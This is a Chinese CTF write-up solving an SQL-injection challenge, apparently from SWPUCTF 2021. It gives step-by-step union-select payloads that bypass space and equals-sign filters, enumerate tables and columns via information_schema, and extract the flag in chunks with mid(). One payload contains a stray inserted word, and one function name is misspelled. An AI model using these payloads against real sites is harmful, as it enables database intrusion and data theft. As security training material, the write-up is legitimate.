[SWPUCTF 2021 新生赛]sql
前言思路:这个CTF题是一个SQL注入相关的题目,题中所含相关知识点:
- 题目中过滤了空格、等于号,使用/**/替换空格符,使用like替换等于号,后面步骤均为常规sql注入;
- 到最后显示flag时,因页面只能显示20字符,完整flag不能显示完全,常规思路可使用截断函数(substr、right、REVERSE、mid)等函数进行多次截断,然后拼接得到完整flag,本题过滤了substr、right、RESERVE函数,本题可使用mid函数进行逐条显示,最后再把flag组合拼接到一起
做题详细步骤:
- 首先f12发现title标签里面参数是wllm
- 多次尝试后发现标签分别为
?wllm=1 -- 回显正常 ?wllm=1 ' -- 报错 ?wllm=1' %23 -- 回显正常 ?wllm=-1' or 1=1%23 -- 发现有过滤
测试过滤后发现有过滤
尝试空格替换为/**/或者+
等于号替换为like
经过反复测试:
测试长度为3
?wllm=1%27+ order + by +3%23回显正常 ?wllm=1%27+ order + by +4%23回显错误
找回显位置
?wllm=-1' union /**/ select /**/ 1,2,3%23
查当前数据库
?wllm=-1' union /**/ select /**/ 1,2, database ()%23
查表test_db数据库下的表:
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
查LTLT表下的字段:
?wllm=-1' union /**/ select /**/ 1,2,group_concat(column_name) /**/ from /**/ information_schema.columns /**/ where /**/ table_schema /**/ like /**/ database ()%23
查内容:
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23
发现flag不能显示完全,页面显示字符的长度不够,只能显示,使用截断函数substr right发现被过滤,使用mid发现未被过滤,用mid函数多次截取,得完整flag
?wllm=-1'union/**/select/**/1,2,mid(group_conc字符at(flag),20,20)/**/from/**/test_db.LTLT_flag%23 ?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23
多次拼接后即可得到完整flag